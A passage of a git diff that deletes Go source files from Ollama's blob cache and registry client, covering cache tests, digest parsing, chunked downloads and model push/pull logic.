testutil.Checker(t) - checkEntry := entryChecker(t, c) - - d := mkdigest("x") - err := PutBytes(c, d, "x") - check(err) - checkEntry(d, 1, sleep(0)) - - err = os.Truncate(c.GetFile(d), 0) - check(err) - - _, err = c.Get(d) - if !errors.Is(err, fs.ErrNotExist) { - t.Fatalf("err = %v, want fs.ErrNotExist", err) - } -} - -func TestPutZero(t *testing.T) { - c, _ := openTester(t) - d := mkdigest("x") - err := c.Put(d, strings.NewReader("x"), 0) // size == 0 (not size of content) - testutil.Check(t, err) - checkNotExists(t, c, d) -} - -func TestCommit(t *testing.T) { - check := testutil.Checker(t) - - c, err := Open(t.TempDir()) - if err != nil { - t.Fatal(err) - } - checkEntry := entryChecker(t, c) - - now := epoch - c.now = func() time.Time { return now } - - d1 := mkdigest("1") - err = c.Link("h/n/m:t", d1) - if !errors.Is(err, fs.ErrNotExist) { - t.Fatalf("err = %v, want fs.ErrNotExist", err) - } - - err = PutBytes(c, d1, "1") - check(err) - - err = c.Link("h/n/m:t", d1) - check(err) - - got, err := c.Resolve("h/n/m:t") - check(err) - if got != d1 { - t.Fatalf("d = %v, want %v", got, d1) - } - - // commit again, more than 1 byte - d2 := mkdigest("22") - err = PutBytes(c, d2, "22") - check(err) - err = c.Link("h/n/m:t", d2) - check(err) - checkEntry(d2, 2, now) - - filename := must(c.manifestPath("h/n/m:t")) - data, err := os.ReadFile(filename) - check(err) - if string(data) != "22" { - t.Fatalf("data = %q, want %q", data, "22") - } - - t0 := now - now = now.Add(1 * time.Hour) - err = c.Link("h/n/m:t", d2) // same contents; nop - check(err) - info, err := os.Stat(filename) - check(err) - testutil.CheckTime(t, info.ModTime(), t0) -} - -func TestManifestInvalidBlob(t *testing.T) { - c, _ := openTester(t) - d := mkdigest("1") - err := c.Link("h/n/m:t", d) - if err == nil { - t.Fatal("expected error") - } - checkNotExists(t, c, d) - - err = PutBytes(c, d, "1") - testutil.Check(t, err) - err = os.WriteFile(c.GetFile(d), []byte("invalid"), 0o666) - if err != nil { - t.Fatal(err) - } - - err = c.Link("h/n/m:t", d) - if !strings.Contains(err.Error(), "underfoot") { - t.Fatalf("err = %v, want error to contain %q", err, "underfoot") - } -} - -func TestManifestNameReuse(t *testing.T) { - t.Run("case-insensitive", func(t *testing.T) { - // This should run on all file system types. - testManifestNameReuse(t) - }) - t.Run("case-sensitive", func(t *testing.T) { - useCaseInsensitiveTempDir(t) - testManifestNameReuse(t) - }) -} - -func testManifestNameReuse(t *testing.T) { - check := testutil.Checker(t) - - c, _ := openTester(t) - - d1 := mkdigest("1") - err := PutBytes(c, d1, "1") - check(err) - err = c.Link("h/n/m:t", d1) - check(err) - - d2 := mkdigest("22") - err = PutBytes(c, d2, "22") - check(err) - err = c.Link("H/N/M:T", d2) - check(err) - - var g [2]Digest - g[0], err = c.Resolve("h/n/m:t") - check(err) - g[1], err = c.Resolve("H/N/M:T") - check(err) - - w := [2]Digest{d2, d2} - if g != w { - t.Fatalf("g = %v, want %v", g, w) - } - - var got []string - for l, err := range c.links() { - if err != nil { - t.Fatal(err) - } - got = append(got, l) - } - want := []string{"manifests/h/n/m/t"} - if !slices.Equal(got, want) { - t.Fatalf("got = %v, want %v", got, want) - } - - // relink with different case - unlinked, err := c.Unlink("h/n/m:t") - check(err) - if !unlinked { - t.Fatal("expected unlinked") - } - err = c.Link("h/n/m:T", d1) - check(err) - - got = got[:0] - for l, err := range c.links() { - if err != nil { - t.Fatal(err) - } - got = append(got, l) - } - - // we should have only one link that is same case as the last link - want = []string{"manifests/h/n/m/T"} - if !slices.Equal(got, want) { - t.Fatalf("got = %v, want %v", got, want) - } -} - -func TestManifestFile(t *testing.T) { - cases := []struct { - in string - want string - }{ - {"", ""}, - - // valid names - {"h/n/m:t", "/manifests/h/n/m/t"}, - {"hh/nn/mm:tt", "/manifests/hh/nn/mm/tt"}, - - {"%/%/%/%", ""}, - - // already a path - {"h/n/m/t", ""}, - - // refs are not names - {"h/n/m:t@sha256-1", ""}, - {"m@sha256-1", ""}, - {"n/m:t@sha256-1", ""}, - } - - c, _ := openTester(t) - for _, tt := range cases { - t.Run(tt.in, func(t *testing.T) { - got, err := c.manifestPath(tt.in) - if err != nil && tt.want != "" { - t.Fatalf("unexpected error: %v", err) - } - if err == nil && tt.want == "" { - t.Fatalf("expected error") - } - dir := filepath.ToSlash(c.dir) - got = filepath.ToSlash(got) - got = strings.TrimPrefix(got, dir) - if got != tt.want { - t.Fatalf("got = %q, want %q", got, tt.want) - } - }) - } -} - -func TestNames(t *testing.T) { - c, _ := openTester(t) - check := testutil.Checker(t) - - check(PutBytes(c, mkdigest("1"), "1")) - check(PutBytes(c, mkdigest("2"), "2")) - - check(c.Link("h/n/m:t", mkdigest("1"))) - check(c.Link("h/n/m:u", mkdigest("2"))) - - var got []string - for l, err := range c.Links() { - if err != nil { - t.Fatal(err) - } - got = append(got, l) - } - want := []string{"h/n/m:t", "h/n/m:u"} - if !slices.Equal(got, want) { - t.Fatalf("got = %v, want %v", got, want) - } -} - -func mkdigest(s string) Digest { - return Digest{sha256.Sum256([]byte(s))} -} - -func checkNotExists(t *testing.T, c *DiskCache, d Digest) { - t.Helper() - _, err := c.Get(d) - if !errors.Is(err, fs.ErrNotExist) { - t.Fatalf("err = %v, want fs.ErrNotExist", err) - } -} - -func entryChecker(t *testing.T, c *DiskCache) func(Digest, int64, time.Time) { - t.Helper() - return func(d Digest, size int64, mod time.Time) { - t.Helper() - t.Run("checkEntry:"+d.String(), func(t *testing.T) { - t.Helper() - - defer func() { - if t.Failed() { - dumpCacheContents(t, c) - } - }() - - e, err := c.Get(d) - if size == 0 && errors.Is(err, fs.ErrNotExist) { - err = nil - } - if err != nil { - t.Fatal(err) - } - if e.Digest != d { - t.Errorf("e.Digest = %v, want %v", e.Digest, d) - } - if e.Size != size { - t.Fatalf("e.Size = %v, want %v", e.Size, size) - } - - testutil.CheckTime(t, e.Time, mod) - info, err := os.Stat(c.GetFile(d)) - if err != nil { - t.Fatal(err) - } - if info.Size() != size { - t.Fatalf("info.Size = %v, want %v", info.Size(), size) - } - testutil.CheckTime(t, info.ModTime(), mod) - }) - } -} - -func must[T any](v T, err error) T { - if err != nil { - panic(err) - } - return v -} - -func TestNameToPath(t *testing.T) { - _, err := nameToPath("h/n/m:t") - if err != nil { - t.Fatal(err) - } -} - -type errOnBangReader struct { - s string - n int -} - -func (e *errOnBangReader) Read(p []byte) (int, error) { - if len(p) < 1 { - return 0, io.ErrShortBuffer - } - if e.n >= len(p) { - return 0, io.EOF - } - if e.s[e.n] == '!' { - return 0, errors.New("bang") - } - p[0] = e.s[e.n] - e.n++ - return 1, nil -} - -func dumpCacheContents(t *testing.T, c *DiskCache) { - t.Helper() - - var b strings.Builder - fsys := os.DirFS(c.dir) - fs.WalkDir(fsys, ".", func(path string, d fs.DirEntry, err error) error { - t.Helper() - - if err != nil { - return err - } - info, err := d.Info() - if err != nil { - return err - } - - // Format like ls: - // - // ; ls -la - // drwxr-xr-x 224 Jan 13 14:22 blob/sha256-123 - // drwxr-xr-x 224 Jan 13 14:22 manifest/h/n/m - - fmt.Fprintf(&b, " %s % 4d %s %s\n", - info.Mode(), - info.Size(), - info.ModTime().Format("Jan 2 15:04"), - path, - ) - return nil - }) - t.Log() - t.Logf("cache contents:\n%s", b.String()) -} diff --git a/server/internal/cache/blob/casecheck_test.go b/server/internal/cache/blob/casecheck_test.go deleted file mode 100644 index 5895d2cb6..000000000 --- a/server/internal/cache/blob/casecheck_test.go +++ /dev/null @@ -1,93 +0,0 @@ -package blob - -import ( - "fmt" - "os" - "path/filepath" - "runtime" - "strings" - "testing" -) - -func isCaseSensitive(dir string) bool { - defer func() { - os.Remove(filepath.Join(dir, "_casecheck")) - }() - - exists := func(file string) bool { - _, err := os.Stat(file) - return err == nil - } - - file := filepath.Join(dir, "_casecheck") - FILE := filepath.Join(dir, "_CASECHECK") - if exists(file) || exists(FILE) { - panic(fmt.Sprintf("_casecheck already exists in %q; remove and try again.", dir)) - } - - err := os.WriteFile(file, nil, 0o666) - if err != nil { - panic(err) - } - - return !exists(FILE) -} - -func isCI() bool { - return os.Getenv("CI") != "" -} - -const volumeHint = ` - - Unable to locate case-insensitive TMPDIR on darwin. - - To run tests, create the case-insensitive volume /Volumes/data: - - $ sudo diskutil apfs addVolume disk1 APFSX data -mountpoint /Volumes/data - - or run with: - - CI=1 go test ./... - -` - -// useCaseInsensitiveTempDir sets TMPDIR to a case-insensitive directory -// can find one, otherwise it skips the test if the CI environment variable is -// set, or GOOS is not darwin. -func useCaseInsensitiveTempDir(t *testing.T) bool { - if isCaseSensitive(os.TempDir()) { - // Use the default temp dir if it is already case-sensitive. - return true - } - if runtime.GOOS == "darwin" { - // If darwin, check for the special case-sensitive volume and - // use it if available. - const volume = "/Volumes/data" - _, err := os.Stat(volume) - if err == nil { - tmpdir := filepath.Join(volume, "tmp") - os.MkdirAll(tmpdir, 0o700) - t.Setenv("TMPDIR", tmpdir) - return true - } - if isCI() { - // Special case darwin in CI; it is not case-sensitive - // by default, and we will be testing other platforms - // that are case-sensitive, so we'll have the test - // being skipped covered there. - t.Skip("Skipping test in CI for darwin; TMPDIR is not case-insensitive.") - } - } - - if !isCI() { - // Require devs to always tests with a case-insensitive TMPDIR. - - // TODO(bmizerany): Print platform-specific instructions or - // link to docs on that topic. - lines := strings.Split(volumeHint, "\n") - for _, line := range lines { - t.Skip(line) - } - } - return false -} diff --git a/server/internal/cache/blob/chunked.go b/server/internal/cache/blob/chunked.go deleted file mode 100644 index 3f62127a3..000000000 --- a/server/internal/cache/blob/chunked.go +++ /dev/null @@ -1,73 +0,0 @@ -package blob - -import ( - "crypto/sha256" - "errors" - "io" - "os" -) - -// Chunk represents a range of bytes in a blob. -type Chunk struct { - Start int64 - End int64 -} - -// Size returns end minus start plus one. -func (c Chunk) Size() int64 { - return c.End - c.Start + 1 -} - -// Chunker writes to a blob in chunks. -// Its zero value is invalid. Use [DiskCache.Chunked] to create a new Chunker. -type Chunker struct { - digest Digest - size int64 - f *os.File // nil means pre-validated -} - -// Chunked returns a new Chunker, ready for use storing a blob of the given -// size in chunks. -// -// Use [Chunker.Put] to write data to the blob at specific offsets. -func (c *DiskCache) Chunked(d Digest, size int64) (*Chunker, error) { - name := c.GetFile(d) - info, err := os.Stat(name) - if err == nil && info.Size() == size { - return &Chunker{}, nil - } - f, err := os.OpenFile(name, os.O_CREATE|os.O_WRONLY, 0o666) - if err != nil { - return nil, err - } - return &Chunker{digest: d, size: size, f: f}, nil -} - -// Put copies chunk.Size() bytes from r to the blob at the given offset, -// merging the data with the existing blob. It returns an error if any. As a -// special case, if r has less than chunk.Size() bytes, Put returns -// io.ErrUnexpectedEOF. -func (c *Chunker) Put(chunk Chunk, d Digest, r io.Reader) error { - if c.f == nil { - return nil - } - - cw := &checkWriter{ - d: d, - size: chunk.Size(), - h: sha256.New(), - f: c.f, - w: io.NewOffsetWriter(c.f, chunk.Start), - } - - _, err := io.CopyN(cw, r, chunk.Size()) - if err != nil && errors.Is(err, io.EOF) { - return io.ErrUnexpectedEOF - } - return err -} - -// Close closes the underlying file. -func (c *Chunker) Close() error { - return c.f.Close() -} diff --git a/server/internal/cache/blob/digest.go b/server/internal/cache/blob/digest.go deleted file mode 100644 index 092d00ace..000000000 --- a/server/internal/cache/blob/digest.go +++ /dev/null @@ -1,99 +0,0 @@ -package blob - -import ( - "crypto/sha256" - "encoding/hex" - "errors" - "fmt" - "slices" - "strings" -) - -var ErrInvalidDigest = errors.New("invalid digest") - -// Digest is a blob identifier that is the SHA-256 hash of a blob's content. -// -// It is comparable and can be used as a map key. -type Digest struct { - sum [32]byte -} - -// ParseDigest parses a digest from a string. If the string is not a valid -// digest, a call to the returned digest's IsValid method will return false. -// -// The input string may be in one of two forms: -// -// - ("sha256-"), where is a 64-character hexadecimal string. -// - ("sha256:"), where is a 64-character hexadecimal string. -// -// The [Digest.String] method will return the canonical form of the -// digest, "sha256:". -func ParseDigest[S ~[]byte | ~string](v S) (Digest, error) { - s := string(v) - i := strings.IndexAny(s, ":-") - var zero Digest - if i < 0 { - return zero, ErrInvalidDigest - } - - prefix, sum := s[:i], s[i+1:] - if prefix != "sha256" || len(sum) != 64 { - return zero, ErrInvalidDigest - } - - var d Digest - _, err := hex.Decode(d.sum[:], []byte(sum)) - if err != nil { - return zero, ErrInvalidDigest - } - return d, nil -} - -func DigestFromBytes[S ~[]byte | ~string](v S) Digest { - return Digest{sha256.Sum256([]byte(v))} -} - -// String returns the string representation of the digest in the conventional -// form "sha256:". -func (d Digest) String() string { - return fmt.Sprintf("sha256:%x", d.sum[:]) -} - -func (d Digest) Short() string { - return fmt.Sprintf("%x", d.sum[:4]) -} - -func (d Digest) Sum() [32]byte { - return d.sum -} - -func (d Digest) Compare(other Digest) int { - return slices.Compare(d.sum[:], other.sum[:]) -} - -// IsValid returns true if the digest is valid, i.e. if it is the SHA-256 hash -// of some content. -func (d Digest) IsValid() bool { - return d != (Digest{}) -} - -// MarshalText implements the encoding.TextMarshaler interface. It returns an -// error if [Digest.IsValid] returns false. -func (d Digest) MarshalText() ([]byte, error) { - return []byte(d.String()), nil -} - -// UnmarshalText implements the encoding.TextUnmarshaler interface, and only -// works for a zero digest. If [Digest.IsValid] returns true, it returns an -// error. -func (d *Digest) UnmarshalText(text []byte) error { - if *d != (Digest{}) { - return errors.New("digest: illegal UnmarshalText on valid digest") - } - v, err := ParseDigest(string(text)) - if err != nil { - return err - } - *d = v - return nil -} diff --git a/server/internal/cache/blob/digest_test.go b/server/internal/cache/blob/digest_test.go deleted file mode 100644 index c96ad383b..000000000 --- a/server/internal/cache/blob/digest_test.go +++ /dev/null @@ -1,63 +0,0 @@ -package blob - -import ( - "encoding/json" - "testing" -) - -func TestParseDigest(t *testing.T) { - cases := []struct { - in string - valid bool - }{ - {"sha256-0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef", true}, - {"sha256:0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef", true}, - - // too short - {"sha256-0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcde", false}, - {"sha256:0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcde", false}, - - // too long - {"sha256-0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0", false}, - {"sha256:0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0", false}, - - // invalid prefix - {"sha255-0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef", false}, - {"sha255:0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef", false}, - {"sha256!0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef", false}, - - // invalid hex - {"sha256-XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", false}, - {"sha256:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", false}, - } - - for _, tt := range cases { - got, err := ParseDigest(tt.in) - if tt.valid && err != nil { - t.Errorf("ParseDigest(%q) = %v, %v; want valid", tt.in, got, err) - } - want := "sha256:" + tt.in[7:] - if tt.valid && got.String() != want { - t.Errorf("ParseDigest(%q).String() = %q, want %q", tt.in, got.String(), want) - } - } -} - -func TestDigestMarshalText(t *testing.T) { - const s = `"sha256-0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef"` - var d Digest - if err := json.Unmarshal([]byte(s), &d); err != nil { - t.Errorf("json.Unmarshal: %v", err) - } - out, err := json.Marshal(d) - if err != nil { - t.Errorf("json.Marshal: %v", err) - } - want := `"sha256:0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef"` - if string(out) != want { - t.Errorf("json.Marshal: got %s, want %s", out, want) - } - if err := json.Unmarshal([]byte(`"invalid"`), &Digest{}); err == nil { - t.Errorf("json.Unmarshal: expected error") - } -} diff --git a/server/internal/client/ollama/registry.go b/server/internal/client/ollama/registry.go deleted file mode 100644 index eae130bf4..000000000 --- a/server/internal/client/ollama/registry.go +++ /dev/null @@ -1,1197 +0,0 @@ -// Package ollama provides a client for interacting with an Ollama registry -// which pushes and pulls model manifests and layers as defined by the -// [ollama.com/manifest]. -package ollama - -import ( - "bufio" - "bytes" - "cmp" - "context" - "crypto" - "crypto/ed25519" - "crypto/sha256" - "crypto/tls" - "encoding/base64" - "encoding/hex" - "encoding/json" - "errors" - "fmt" - "io" - "io/fs" - "iter" - "log/slog" - "net/http" - "os" - "path/filepath" - "runtime" - "runtime/debug" - "slices" - "strconv" - "strings" - "sync" - "sync/atomic" - "time" - - "golang.org/x/crypto/ssh" - "golang.org/x/sync/errgroup" - - "github.com/ollama/ollama/server/internal/cache/blob" - "github.com/ollama/ollama/server/internal/internal/names" - - _ "embed" -) - -// Errors -var ( - // ErrModelNotFound is returned when a manifest is not found in the - // cache or registry. - ErrModelNotFound = errors.New("model not found") - - // ErrManifestInvalid is returned when a manifest found in a local or - // remote cache is invalid. - ErrManifestInvalid = errors.New("invalid manifest") - - // ErrMissingModel is returned when the model part of a name is missing - // or invalid. - ErrNameInvalid = errors.New("invalid or missing name") - - // ErrCached is passed to [Trace.PushUpdate] when a layer already - // exists. It is a non-fatal error and is never returned by [Registry.Push]. - ErrCached = errors.New("cached") - - // ErrIncomplete is returned by [Registry.Pull] when a model pull was - // incomplete due to one or more layer download failures. Users that - // want specific errors should use [WithTrace]. - ErrIncomplete = errors.New("incomplete") -) - -// Defaults -const ( - // DefaultChunkingThreshold is the threshold at which a layer should be - // split up into chunks when downloading. - DefaultChunkingThreshold = 64 << 20 -) - -var defaultCache = sync.OnceValues(func() (*blob.DiskCache, error) { - dir := os.Getenv("OLLAMA_MODELS") - if dir == "" { - home, _ := os.UserHomeDir() - home = cmp.Or(home, ".") - dir = filepath.Join(home, ".ollama", "models") - } - return blob.Open(dir) -}) - -// DefaultCache returns the default cache used by the registry. It is -// configured from the OLLAMA_MODELS environment variable, or defaults to -// $HOME/.ollama/models, or, if an error occurs obtaining the home directory, -// it uses the current working directory. -func DefaultCache() (*blob.DiskCache, error) { - return defaultCache() -} - -// Error is the standard error returned by Ollama APIs. It can represent a -// single or multiple error response. -// -// Single error responses have the following format: -// -// {"code": "optional_code","error":"error message"} -// -// Multiple error responses have the following format: -// -// {"errors": [{"code": "optional_code","message":"error message"}]} -// -// Note, that the error field is used in single error responses, while the -// message field is used in multiple error responses. -// -// In both cases, the code field is optional and may be empty. -type Error struct { - status int `json:"-"` // TODO(bmizerany): remove this - Code string `json:"code"` - Message string `json:"message"` -} - -// Temporary reports if the error is temporary (e.g. 5xx status code). -func (e *Error) Temporary() bool { - return e.status >= 500 -} - -func (e *Error) Error() string { - var b strings.Builder - b.WriteString("registry responded with status ") - b.WriteString(strconv.Itoa(e.status)) - if e.Code != "" { - b.WriteString(": code ") - b.WriteString(e.Code) - } - if e.Message != "" { - b.WriteString(": ") - b.WriteString(e.Message) - } - return b.String() -} - -func (e *Error) LogValue() slog.Value { - return slog.GroupValue( - slog.Int("status", e.status), - slog.String("code", e.Code), - slog.String("message", e.Message), - ) -} - -// UnmarshalJSON implements json.Unmarshaler. -func (e *Error) UnmarshalJSON(b []byte) error { - type E Error - var v struct { - // Single error - Code string - Error string - - // Multiple errors - Errors []E - } - if err := json.Unmarshal(b, &v); err != nil { - return err - } - if v.Error != "" { - // Single error case - e.Code = v.Code - e.Message = v.Error - return nil - } - if len(v.Errors) == 0 { - return fmt.Errorf("no messages in error response: %s", string(b)) - } - *e = Error(v.Errors[0]) // our registry only returns one error. - return nil -} - -const DefaultMask = "registry.ollama.ai/library/_:latest" - -var defaultMask = func() names.Name { - n := names.Parse(DefaultMask) - if !n.IsFullyQualified() { - panic("default mask is not fully qualified") - } - return n -}() - -// CompleteName returns a fully qualified name by merging the given name with -// the default mask. If the name is already fully qualified, it is returned -// unchanged. -func CompleteName(name string) string { - return names.Merge(names.Parse(name), defaultMask).String() -} - -// Registry is a client for performing push and pull operations against an -// Ollama registry. -type Registry struct { - // Cache is the cache used to store models. If nil, [DefaultCache] is - // used. - Cache *blob.DiskCache - - // UserAgent is the User-Agent header to send with requests to the - // registry. If empty, the User-Agent is determined by HTTPClient. - UserAgent string - - // Key is the key used to authenticate with the registry. - // - // Currently, only Ed25519 keys are supported. - Key crypto.PrivateKey - - // HTTPClient is the HTTP client used to make requests to the registry. - // - // If nil, [http.DefaultClient] is used. - // - // As a quick note: If a Registry function that makes a call to a URL - // with the "https+insecure" scheme, the client will be cloned and the - // transport will be set to skip TLS verification, unless the client's - // Transport done not have a Clone method with the same signature as - // [http.Transport.Clone], which case, the call will fail. - HTTPClient *http.Client - - // MaxStreams is the maximum number of concurrent streams to use when - // pushing or pulling models. If zero, the number of streams is - // determined by [runtime.GOMAXPROCS]. - // - // A negative value means no limit. - MaxStreams int - - // ChunkingThreshold is the maximum size of a layer to download in a single - // request. If zero, [DefaultChunkingThreshold] is used. - ChunkingThreshold int64 - - // Mask, if set, is the name used to convert non-fully qualified names - // to fully qualified names. - // If empty, [DefaultMask] is used. - Mask string - - // ReadTimeout is the maximum duration for reading the entire request, - // including the body. - // A zero or negative value means there will be no timeout. - ReadTimeout time.Duration -} - -func (r *Registry) readTimeout() time.Duration { - if r.ReadTimeout > 0 { - return r.ReadTimeout - } - return 1<<63 - 1 // no timeout, max int -} - -func (r *Registry) cache() (*blob.DiskCache, error) { - if r.Cache != nil { - return r.Cache, nil - } - return defaultCache() -} - -func (r *Registry) parseName(name string) (names.Name, error) { - mask := defaultMask - if r.Mask != "" { - mask = names.Parse(r.Mask) - } - n := names.Merge(names.Parse(name), mask) - if !n.IsFullyQualified() { - return names.Name{}, fmt.Errorf("%w: %q", ErrNameInvalid, name) - } - return n, nil -} - -// DefaultRegistry returns a new Registry configured from the environment. The -// key is read from $HOME/.ollama/id_ed25519, MaxStreams is set to the -// value of OLLAMA_REGISTRY_MAXSTREAMS, and ReadTimeout is set to 30 seconds. -// -// It returns an error if any configuration in the environment is invalid. -func DefaultRegistry() (*Registry, error) { - home, err := os.UserHomeDir() - if err != nil { - return nil, err - } - keyPEM, err := os.ReadFile(filepath.Join(home, ".ollama/id_ed25519")) - if err != nil && errors.Is(err, fs.ErrNotExist) { - return nil, err - } - - var rc Registry - rc.ReadTimeout = 30 * time.Second - rc.UserAgent = UserAgent() - rc.Key, err = ssh.ParseRawPrivateKey(keyPEM) - if err != nil { - return nil, err - } - maxStreams := os.Getenv("OLLAMA_REGISTRY_MAXSTREAMS") - if maxStreams != "" { - var err error - rc.MaxStreams, err = strconv.Atoi(maxStreams) - if err != nil { - return nil, fmt.Errorf("invalid OLLAMA_REGISTRY_MAXSTREAMS: %w", err) - } - } - return &rc, nil -} - -func UserAgent() string { - buildinfo, _ := debug.ReadBuildInfo() - - version := buildinfo.Main.Version - if version == "(devel)" { - // When using `go run .` the version is "(devel)". This is seen - // as an invalid version by ollama.com and so it defaults to - // "needs upgrade" for some requests, such as pulls. These - // checks can be skipped by using the special version "v0.0.0", - // so we set it to that here. - version = "v0.0.0" - } - - return fmt.Sprintf("ollama/%s (%s %s) Go/%s", - version, - runtime.GOARCH, - runtime.GOOS, - runtime.Version(), - ) -} - -func (r *Registry) maxStreams() int { - return cmp.Or(r.MaxStreams, runtime.GOMAXPROCS(0)) -} - -func (r *Registry) maxChunkingThreshold() int64 { - return cmp.Or(r.ChunkingThreshold, DefaultChunkingThreshold) -} - -type PushParams struct { - // From is an optional destination name for the model. If empty, the - // destination name is the same as the source name. - From string -} - -// Push pushes the model with the name in the cache to the remote registry. -func (r *Registry) Push(ctx context.Context, name string, p *PushParams) error { - if p == nil { - p = &PushParams{} - } - - c, err := r.cache() - if err != nil { - return err - } - - m, err := r.ResolveLocal(cmp.Or(p.From, name)) - if err != nil { - return err - } - - // Before much else happens, check layers at not null, the blobs exist, - // and the sizes match. This prevents long uploads followed by - // disappointment. - for _, l := range m.Layers { - if l == nil { - return fmt.Errorf("%w: null layer", ErrManifestInvalid) - } - info, err := c.Get(l.Digest) - if err != nil { - return fmt.Errorf("error getting %s: %w", l.Digest.Short(), err) - } - if info.Size != l.Size { - return fmt.Errorf("size mismatch for %s: %d != %d", l.Digest.Short(), info.Size, l.Size) - } - } - - t := traceFromContext(ctx) - - scheme, n, _, err := r.parseNameExtended(name) - if err != nil { - // This should never happen since ResolveLocal should have - // already validated the name. - panic(err) - } - - ctx, cancel := context.WithCancel(ctx) - defer cancel() - - var g errgroup.Group - g.SetLimit(r.maxStreams()) - for _, l := range m.Layers { - var progress atomic.Int64 - g.Go(func() (err error) { - defer func() { t.update(l, progress.Load(), err) }() - - t.update(l, 0, nil) - - startURL := fmt.Sprintf("%s://%s/v2/%s/%s/blobs/uploads/?digest=%s", - scheme, - n.Host(), - n.Namespace(), - n.Model(), - l.Digest, - ) - res, err := r.send(ctx, "POST", startURL, nil) - if err != nil { - return err - } - res.Body.Close() - - f, err := os.Open(c.GetFile(l.Digest)) - if err != nil { - return err - } - defer f.Close() - - uploadURL := res.Header.Get("Location") - if uploadURL == "" { - t.update(l, l.Size, ErrCached) - return nil - } - - req, err := r.newRequest(ctx, "PUT", uploadURL, f) - if err != nil { - return fmt.Errorf("invalid upload URL returned from registry: %q: %w", uploadURL, err) - } - req.ContentLength = l.Size - - res, err = sendRequest(r.client(), req) - if err == nil { - res.Body.Close() - } - return err - }) - } - - if err := g.Wait(); err != nil { - return err - } - - // Commit - path := fmt.Sprintf("%s://%s/v2/%s/%s/manifests/%s", - scheme, - n.Host(), - n.Namespace(), - n.Model(), - n.Tag(), - ) - res, err := r.send(ctx, "PUT", path, bytes.NewReader(m.Data)) - if err == nil { - res.Body.Close() - } - // TODO(bmizerany): add a "commit" trace event - return err -} - -// trackingReader is an io.Reader that tracks the number of bytes read and -// calls the update function with the layer, the number of bytes read. -// -// It always calls update with a nil error. -type trackingReader struct { - r io.Reader - update func(n int64, err error) // err is always nil -} - -func (r *trackingReader) Read(p []byte) (n int, err error) { - n, err = r.r.Read(p) - r.update(int64(n), nil) - return -} - -// Pull pulls the model with the given name from the remote registry into the -// cache. -// -// For layers larger then [Registry.MaxChunkSize], the layer is downloaded in -// chunks of the specified size, and then reassembled and verified. This is -// typically slower than splitting the model up across layers, and is mostly -// utilized for layers of type equal to "application/vnd.ollama.image". -func (r *Registry) Pull(ctx context.Context, name string) error { - m, err := r.Resolve(ctx, name) - if err != nil { - return err - } - - // TODO(bmizerany): decide if this should be considered valid. Maybe - // server-side we special case '{}' to have some special meaning? Maybe - // "archiving" a tag (which is how we reason about it in the registry - // already, just with a different twist). - if len(m.Layers) == 0 { - return fmt.Errorf("%w: no layers", ErrManifestInvalid) - } - - c, err := r.cache() - if err != nil { - return err - } - - // TODO(bmizerany): work to remove the need to do this - layers := m.Layers - if m.Config != nil && m.Config.Digest.IsValid() { - layers = append(layers, m.Config) - } - - // Send initial layer trace events to allow clients to have an - // understanding of work to be done before work starts. - var expected int64 - t := traceFromContext(ctx) - for _, l := range layers { - t.update(l, 0, nil) - expected += l.Size - } - - var g errgroup.Group - g.SetLimit(r.maxStreams()) - - var completed atomic.Int64 - for _, l := range layers { - var received atomic.Int64 - update := func(n int64, err error) { - if n == 0 && err == nil { - // Clients expect an update with no progress and no error to mean "starting download". - // This is not the case here, - // so we don't want to send an update in this case. - return - } - completed.Add(n) - t.update(l, received.Add(n), err) - } - - info, err := c.Get(l.Digest) - if err == nil && info.Size == l.Size { - update(l.Size, ErrCached) - continue - } - - func() (err error) { - defer func() { - if err != nil { - update(0, err) - } - }() - - var wg sync.WaitGroup - chunked, err := c.Chunked(l.Digest, l.Size) - if err != nil { - return err - } - defer func() { - // Close the chunked writer when all chunks are - // downloaded. - // - // This is done as a background task in the - // group to allow the next layer to start while - // we wait for the final chunk in this layer to - // complete. It also ensures this is done - // before we exit Pull. - g.Go(func() error { - wg.Wait() - chunked.Close() - return nil - }) - }() - - for cs, err := range r.chunksums(ctx, name, l) { - if err != nil { - // Note the chunksum stream - // interruption, but do not cancel - // in-flight downloads. We can still - // make progress on them. Once they are - // done, ErrIncomplete will be returned - // below. - update(0, err) - break - } - - cacheKey := fmt.Sprintf( - "v1 pull chunksum %s %s %d-%d", - l.Digest, - cs.Digest, - cs.Chunk.Start, - cs.Chunk.End, - ) - cacheKeyDigest := blob.DigestFromBytes(cacheKey) - _, err := c.Get(cacheKeyDigest) - if err == nil { - update(cs.Chunk.Size(), ErrCached) - continue - } - - wg.Add(1) - g.Go(func() (err error) { - defer func() { - defer wg.Done() - if err != nil { - update(0, err) - } - }() - - ctx, cancel := context.WithCancelCause(ctx) - defer cancel(nil) - - timer := time.AfterFunc(r.readTimeout(), func() { - cancel(fmt.Errorf("%w: downloading %s %d-%d/%d", - context.DeadlineExceeded, - cs.Digest.Short(), - cs.Chunk.Start, - cs.Chunk.End, - l.Size, - )) - }) - defer timer.Stop() - - req, err := http.NewRequestWithContext(ctx, "GET", cs.URL, nil) - if err != nil { - return err - } - req.Header.Set("Range", fmt.Sprintf("bytes=%d-%d", cs.Chunk.Start, cs.Chunk.End)) - res, err := sendRequest(r.client(), req) - if err != nil { - return err - } - defer res.Body.Close() - - tr := &trackingReader{ - r: res.Body, - update: func(n int64, err error) { - timer.Reset(r.readTimeout()) - update(n, err) - }, - } - if err := chunked.Put(cs.Chunk, cs.Digest, tr); err != nil { - return err - } - - // Record the downloading of this chunk. - return blob.PutBytes(c, cacheKeyDigest, cacheKey) - }) - } - - return nil - }() - } - if err := g.Wait(); err != nil { - return err - } - if recv := completed.Load(); recv != expected { - return fmt.Errorf("%w: received %d/%d bytes", ErrIncomplete, recv, expected) - } - - md := blob.DigestFromBytes(m.Data) - if err := 